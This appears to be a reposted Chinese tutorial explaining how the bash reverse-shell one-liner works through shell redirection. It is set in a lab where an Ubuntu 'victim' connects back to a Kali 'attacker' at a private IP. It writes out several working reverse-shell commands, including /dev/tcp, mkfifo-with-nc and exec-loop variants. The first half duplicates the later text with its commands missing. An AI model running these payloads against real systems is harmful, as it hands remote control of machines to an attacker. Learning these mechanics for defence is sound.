shell反弹理解
2017-11-22 10:51
417 查看
http://www.freebuf.com/articles/system/153986.htm
那么这个反弹shell命令到底是什么意思呢
对于速食主义者,后面的内容可以选择忽略
其实这里就涉及到重定向的知识
接下来我们分解一下命令
首先是两个容易理解的部分
bash -i是启动一个交互式shell。
17b7d
![](http://image.3001.net/images/20171114/15106269938636.png!small)
交互式shell的意思就是跟用户交互,你输入一行命令,shell就执行一行命令。当然,有交互式就有非交互式,一个 shell脚本的运行方式,就是非交互式shell。使用echo $-可以查看是否是交互式shell
![](http://image.3001.net/images/20171114/15106270073476.png!small)
然后是/dev/tcp/192.168.190.138/6666
这个实际上就是和192.168.190.138:6666建立TCP连接,linux一切皆文件的思想在这里体现
输出到TCP连接
![](http://image.3001.net/images/20171114/15106270343246.png!small)
从TCP连接读取
![](http://image.3001.net/images/20171114/15106328797966.png!small)
>命令大家都不陌生,就是把输出重定向
那么这里就可以组成一个命令
就是建立一个交互式shell,然后把输出重定向到TCP连接
演示中ubuntu作为受害者,kali作为攻击者
ubuntu执行这个命令,可以看到建立了一个交互式shell和一个连接,然后在上面ubuntu 上执行id,可以看到结果输出在下面的kali中
![](http://image.3001.net/images/20171114/15106277048727.png!small)
>测试过了,<命令大家也不陌生,就是读取输入。那么
大家也很容易理解,就是从TCP连接中读取输入。
在ubuntu上执行上述命令后,建立了交互式bash和TCP 连接,然后从TCP连接读取输入到bash执行,这个时候需要在下面的kali中执行命令,然后结果会显示到上面的 ubuntu中
![](http://image.3001.net/images/20171114/15106277381148.png!small)
这样的话,结合上述两个命令的功能
就可以从TCP连接获取命令输入,然后输出到TCP连接中,一个基本的反弹shell 功能已经完成。可以在kali中输入id命令并显示命令结果。
![](http://image.3001.net/images/20171114/15106277988707.png!small)
那么,大家会发现一个比较奇怪的现象,攻击端可以顺利输入命令获得命令回显了,但是执行的命令在受害者机器上会显示,比如在kali上输入命令id ,id命令会回显到ubuntu中,终端提示符name@host也在受害者机器回显。什么鬼?这个问题在后面会解决。
![](http://image.3001.net/images/20171114/1510627806369.png!small)
那么>&中&的作用是什么
用过linux后台命令的都知道,单独的一个&可以表示在后台运行,但是和 ><连用的&绝对不表示在后台运行。
一般情况下,注意是一般,&和<>连用是为了将纯数字名文件和文件描述符区分开。 注意以下命令的区别。
我们知道文件描述符0,1,2分别表示stdin,stdout和 stderr
比如我输入一个name命令,该命令在ubuntu中默认是不存在的,这个时候会产生错误,并输出一大堆东西到标准错误
![](http://image.3001.net/images/20171114/15106279097827.png!small)
我想把标准错误2重定向到标准输入1,怎么办
输入name 2>1吗, 我们试试。
![](http://image.3001.net/images/20171114/15106279351353.png!small)
![](http://image.3001.net/images/20171114/15106279395553.png!small)
可以看到,其实这样直接创建了一个名称为数字1的文件,并没有重定向到标准输出1
正确的做法是应该是执行name 2>&1(这里的1才表示标准输出)
所以一般情况下,>&和<&的右边的 &都是为了和纯数字文件区别开。
在&右边为非纯数字文件的情况下,>&是什么意思呢,实际上 >&不是一个单独的命令,完整的形式应该是n>&word|digit,有一个比较复杂的逻辑。
我们先看一个简单的版本>&word,也就是n省略
![](http://image.3001.net/images/20171114/15106279585775.png!small)
>&word和&>word都表示的是把标准输出和标准错误同时重定向到某个文件,都相当于>word 2>&1。 那么也就是
相当于
执行命令,从ubuntu输入命令,输出和错误都在kali上显示
![](http://image.3001.net/images/20171114/15106279952121.png!small)
还记得上面那个奇怪的现象吗。执行命令
![](http://image.3001.net/images/20171114/15106280103636.png!small)
那么这里
对比命令
在bash -i >后面少了一个&,结合上面所学,实际上就是后面少了一个2>&1 ,也就是缺少标准错误的重定向。
![](http://image.3001.net/images/20171114/15106280738984.png!small)
标准错误2不仅显示错误信息,居然还有回显输入命令和终端提示符的作用,是否有一种打开了新世界的小门的感觉。
到这,大家应该对重定向和反弹shell都有了一定的了解。
那么,还有一份大礼包。就是n<&word和n>&word的情形,实际上就对应到 0>&1或者0<&1的解释。
![](http://image.3001.net/images/20171114/15106280956190.png!small)
理解上述大礼包之后,那么对于下面这个命令
实际上以下形式都等价
>&word &>word 表示 >word 2>&1
n>&word|digit 表示复制输出描述符给n
n<&word|digit 表示复制输入描述符给n
0<&word可以简写为<&word
1>word可以简写为>word
还有一些其他的反弹shell命令,试着读读,是不是能够理解,异曲同工
![](http://image.3001.net/images/20171114/15106283519820.png!small)
![](http://image.3001.net/images/20171114/15106283608464.png!small)
那么这个反弹shell命令到底是什么意思呢
bash -i >&/dev/tcp/192.168.190.138/6666 0>&1
对于速食主义者,后面的内容可以选择忽略
命令 | 解释 |
---|---|
bash -i | 产生一个交互式bash |
>& /dev/tcp/ip/port | 建立TCP连接,并将标准输出和错误重定向到TCP连接 |
0>&1 | 从TCP连接获取输入 |
0×03 分析
其实这里就涉及到重定向的知识接下来我们分解一下命令
首先是两个容易理解的部分
I bash -i
bash -i是启动一个交互式shell。17b7d
![](http://image.3001.net/images/20171114/15106269938636.png!small)
交互式shell的意思就是跟用户交互,你输入一行命令,shell就执行一行命令。当然,有交互式就有非交互式,一个 shell脚本的运行方式,就是非交互式shell。使用echo $-可以查看是否是交互式shell
![](http://image.3001.net/images/20171114/15106270073476.png!small)
II /dev/tcp/ip/port
然后是/dev/tcp/192.168.190.138/6666这个实际上就是和192.168.190.138:6666建立TCP连接,linux一切皆文件的思想在这里体现
输出到TCP连接
![](http://image.3001.net/images/20171114/15106270343246.png!small)
从TCP连接读取
![](http://image.3001.net/images/20171114/15106328797966.png!small)
III 重定向
>命令大家都不陌生,就是把输出重定向那么这里就可以组成一个命令
bash -i > /dev/tcp/192.168.190.138/6666
就是建立一个交互式shell,然后把输出重定向到TCP连接
演示中ubuntu作为受害者,kali作为攻击者
ubuntu执行这个命令,可以看到建立了一个交互式shell和一个连接,然后在上面ubuntu 上执行id,可以看到结果输出在下面的kali中
![](http://image.3001.net/images/20171114/15106277048727.png!small)
>测试过了,<命令大家也不陌生,就是读取输入。那么
bash -i < /dev/tcp/192.168.190.138/6666
大家也很容易理解,就是从TCP连接中读取输入。
在ubuntu上执行上述命令后,建立了交互式bash和TCP 连接,然后从TCP连接读取输入到bash执行,这个时候需要在下面的kali中执行命令,然后结果会显示到上面的 ubuntu中
![](http://image.3001.net/images/20171114/15106277381148.png!small)
IV 奇怪的反弹shell
bash -i > /dev/tcp/192.168.190.138/6666
bash -i < /dev/tcp/192.168.190.138/6666
这样的话,结合上述两个命令的功能
bash -i > /dev/tcp/192.168.190.138/6666 0>&1
就可以从TCP连接获取命令输入,然后输出到TCP连接中,一个基本的反弹shell 功能已经完成。可以在kali中输入id命令并显示命令结果。
![](http://image.3001.net/images/20171114/15106277988707.png!small)
那么,大家会发现一个比较奇怪的现象,攻击端可以顺利输入命令获得命令回显了,但是执行的命令在受害者机器上会显示,比如在kali上输入命令id ,id命令会回显到ubuntu中,终端提示符name@host也在受害者机器回显。什么鬼?这个问题在后面会解决。
![](http://image.3001.net/images/20171114/1510627806369.png!small)
V >& <&的作用
那么>&中&的作用是什么用过linux后台命令的都知道,单独的一个&可以表示在后台运行,但是和 ><连用的&绝对不表示在后台运行。
一般情况下,注意是一般,&和<>连用是为了将纯数字名文件和文件描述符区分开。 注意以下命令的区别。
name 2>1
name 2>&1
我们知道文件描述符0,1,2分别表示stdin,stdout和 stderr
比如我输入一个name命令,该命令在ubuntu中默认是不存在的,这个时候会产生错误,并输出一大堆东西到标准错误
![](http://image.3001.net/images/20171114/15106279097827.png!small)
我想把标准错误2重定向到标准输入1,怎么办
输入name 2>1吗, 我们试试。
![](http://image.3001.net/images/20171114/15106279351353.png!small)
![](http://image.3001.net/images/20171114/15106279395553.png!small)
可以看到,其实这样直接创建了一个名称为数字1的文件,并没有重定向到标准输出1
正确的做法是应该是执行name 2>&1(这里的1才表示标准输出)
所以一般情况下,>&和<&的右边的 &都是为了和纯数字文件区别开。
在&右边为非纯数字文件的情况下,>&是什么意思呢,实际上 >&不是一个单独的命令,完整的形式应该是n>&word|digit,有一个比较复杂的逻辑。
我们先看一个简单的版本>&word,也就是n省略
![](http://image.3001.net/images/20171114/15106279585775.png!small)
>&word和&>word都表示的是把标准输出和标准错误同时重定向到某个文件,都相当于>word 2>&1。 那么也就是
bash -i >& /dev/tcp/192.168.190.138/6666
相当于
bash -i >/dev/tcp/192.168.190.138/6666 2>&1
执行命令,从ubuntu输入命令,输出和错误都在kali上显示
![](http://image.3001.net/images/20171114/15106279952121.png!small)
VI Figure out
还记得上面那个奇怪的现象吗。执行命令bash -i > /dev/tcp/192.168.190.138/6666 0>&1
![](http://image.3001.net/images/20171114/15106280103636.png!small)
那么这里
bash -i > /dev/tcp/192.168.190.138/6666 0>&1
对比命令
bash -i >& /dev/tcp/192.168.190.138/6666 0>&1
在bash -i >后面少了一个&,结合上面所学,实际上就是后面少了一个2>&1 ,也就是缺少标准错误的重定向。
![](http://image.3001.net/images/20171114/15106280738984.png!small)
标准错误2不仅显示错误信息,居然还有回显输入命令和终端提示符的作用,是否有一种打开了新世界的小门的感觉。
到这,大家应该对重定向和反弹shell都有了一定的了解。
那么,还有一份大礼包。就是n<&word和n>&word的情形,实际上就对应到 0>&1或者0<&1的解释。
![](http://image.3001.net/images/20171114/15106280956190.png!small)
VII trick
理解上述大礼包之后,那么对于下面这个命令bash -i>& /dev/tcp/192.168.190.138/6666 0>&1
实际上以下形式都等价
bash -i &>/dev/tcp/192.168.190.138/6666 0>&1
bash -i>& /dev/tcp/192.168.190.138/6666 0<&1
bash -i>& /dev/tcp/192.168.190.138/6666 <&1
bash -i>& /dev/tcp/192.168.190.138/6666 <&2
bash -i 1>/dev/tcp/192.168.190.138/6666 2>&1 0>&1
VIII 简单总结
>&word &>word 表示 >word 2>&1n>&word|digit 表示复制输出描述符给n
n<&word|digit 表示复制输入描述符给n
0<&word可以简写为<&word
1>word可以简写为>word
IX 举一反三
还有一些其他的反弹shell命令,试着读读,是不是能够理解,异曲同工rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.190.138 6666>/tmp/f
![](http://image.3001.net/images/20171114/15106283519820.png!small)
exec 5<>/dev/tcp/192.168.190.138/6666;cat <&5|while read line;do $line>&5 2>&1;done
![](http://image.3001.net/images/20171114/15106283608464.png!small)
其实 就像 做个记录的 ..
相关文章推荐
- 辨别Linux下的>,>>,>&与&>以及反弹shell语句的理解
- shell 的理解及遇到的问题
- php反弹shell实现代码
- 反弹 shell 脚本
- linux反弹shell
- shell--ch5 理解shell
- 使用nc反弹shell方法
- linux命令行与shell脚本大全_第六章_权限_理解文件权限
- 理解Linux中Shell初始化文件和用户Profiles文件
- 从学习export命令理解到的Shell环境和变量生存期
- linux下反弹shell的几种方法
- 反弹shell
- 轻松学习Linux之理解Shell的硬链接与软连接
- shell之输出重定向(理解2>&1)
- 反弹shell
- 反弹SHELL汇总
- GitHub客户端和Shell的基本操作和理解
- 对于Linux中shell的理解
- 反弹shell
- shell脚本学习:快速理解正则表达式之grep篇